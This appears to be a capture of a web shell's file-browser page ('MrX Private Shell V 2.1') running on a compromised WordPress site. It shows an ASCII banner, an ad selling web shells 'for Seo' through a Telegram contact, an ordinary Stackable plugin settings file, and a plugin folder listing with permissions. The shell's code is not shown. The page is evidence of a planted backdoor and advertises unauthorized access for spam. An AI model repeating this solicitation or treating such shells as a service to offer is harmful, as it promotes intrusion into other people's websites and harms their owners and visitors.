__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* This allows non-admin users to read Stackable Options for Global Settings in the Editor
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
if ( ! class_exists( 'Stackable_Admin_Settings' ) ) {
class Stackable_Admin_Settings extends WP_REST_Settings_Controller {
/**
* Constructor.
*
*/
public function __construct() {
$this->namespace = 'stackable/v3';
$this->rest_base = 'settings';
add_action( 'rest_api_init', array( $this, 'register_routes' ) );
}
public function register_routes() {
register_rest_route(
$this->namespace,
'/' . $this->rest_base,
array(
'methods' => WP_REST_Server::READABLE,
'callback' => array( $this, 'get_item' ),
'args' => array(),
'permission_callback' => array( $this, 'retrieve_item_permissions_check' ),
)
);
}
public function retrieve_item_permissions_check( $request ) {
return current_user_can( 'edit_posts' );
}
/**
* Retrieves only the Stackable registered options
*
* @return array Array of registered options.
*/
protected function get_registered_options() {
$rest_options = parent::get_registered_options();
$rest_options = array_filter(
$rest_options,
function( $key ) {
return strpos( $key, 'stackable' ) === 0;
},
ARRAY_FILTER_USE_KEY
);
return $rest_options;
}
}
new Stackable_Admin_Settings();
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| block | Folder | 0775 |
|
|
| block-components | Folder | 0775 |
|
|
| compatibility | Folder | 0775 |
|
|
| components | Folder | 0775 |
|
|
| deprecated | Folder | 0775 |
|
|
| design-library | Folder | 0775 |
|
|
| lightbox | Folder | 0775 |
|
|
| plugins | Folder | 0775 |
|
|
| styles | Folder | 0775 |
|
|
| welcome | Folder | 0775 |
|
|
| admin.php | File | 1.42 KB | 0775 |
|
| blocks.php | File | 3.11 KB | 0775 |
|
| css-optimize.php | File | 16.42 KB | 0775 |
|
| dynamic-breakpoints.php | File | 20.72 KB | 0775 |
|
| editor-settings.php | File | 9.49 KB | 0775 |
|
| fonts.php | File | 5.44 KB | 0775 |
|
| global-settings.php | File | 37.62 KB | 0775 |
|
| icons.php | File | 1.31 KB | 0775 |
|
| index.php | File | 88 B | 0775 |
|
| init.php | File | 20.87 KB | 0775 |
|
| jetpack.php | File | 2.29 KB | 0775 |
|
| kses.php | File | 5.1 KB | 0775 |
|
| multisite.php | File | 3.27 KB | 0775 |
|
| pro.php | File | 5.21 KB | 0775 |
|
| stk-block-types.php | File | 38.5 KB | 0775 |
|
| unique-id.php | File | 1.34 KB | 0775 |
|